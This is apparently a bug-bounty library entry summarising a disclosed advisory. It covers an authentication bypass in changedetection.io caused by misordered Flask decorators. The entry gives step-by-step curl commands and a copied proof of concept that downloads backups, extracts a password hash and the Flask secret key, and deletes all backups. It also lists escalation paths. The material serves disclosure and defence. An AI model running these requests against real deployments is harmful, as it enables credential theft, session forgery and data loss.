# changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering

Reversed Flask decorator order on 13 changedetection.io routes left auth wrapper unregistered, letting unauthenticated attackers download backups containing password hashes and Flask secret key.

- Payout: Research
- Severity: critical
- Program: changedetection.io
- Found by: axel-corsiez
- Disclosed: 2026-04-06
- CVE: CVE-2026-35490
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jmrh-xmgh-x9j4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jmrh-xmgh-x9j4
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Flask web application backup endpoints
**Root cause:** `@login_optionally_required` was placed above `@blueprint.route()` on 13 routes; Flask's `@route()` registers the raw undecorated function, so the auth wrapper never enters the call chain.
**Steps:**
1. Confirm auth works: `curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings` returns 302 to /login
2. Trigger backup unauthenticated: `curl http://127.0.0.1:5557/backups/request-backup` returns 302 to /backups/ (not /login)
3. List backups: `curl http://127.0.0.1:5557/backups/` returns 200; grep for `changedetection-backup` filename
4. Download: `curl -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip` returns 200
5. Unzip and read `secret.txt` (password hash) and Flask secret key from config
6. Delete all backups: `curl http://127.0.0.1:5557/backups/remove-backups` returns 302
**How found:** Consistency gap: developer correctly ordered decorators on 30+ routes but reversed them on 13, silently disabling auth on those views.
**Exploitation:** Unauthenticated attacker hits backup routes directly: creates a backup, lists it, downloads the zip, and extracts the app password hash, Flask secret key, watched URLs and notification webhook URLs (potential Slack/Discord API tokens). Can also delete all backups and upload a malicious backup for config injection.
**Escalation:** Flask secret key enables session forgery; webhook URLs may leak third-party API tokens; backup restore allows config injection; proxy check endpoint enables SSRF; browser steps endpoints allow Playwright session control.
**Insight:** In Flask, `@route()` must be the outermost decorator since it registers the function it receives; audit decorator ordering across all routes for inconsistencies, especially where most routes are correct and a minority are not.

## Proof of concept (copied exactly from the original report)

**Unauthenticated backup download PoC**

```
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6
```

**Unauthenticated backup creation and listing**

```
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip
```

**Unauthenticated backup deletion**

```
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302
```

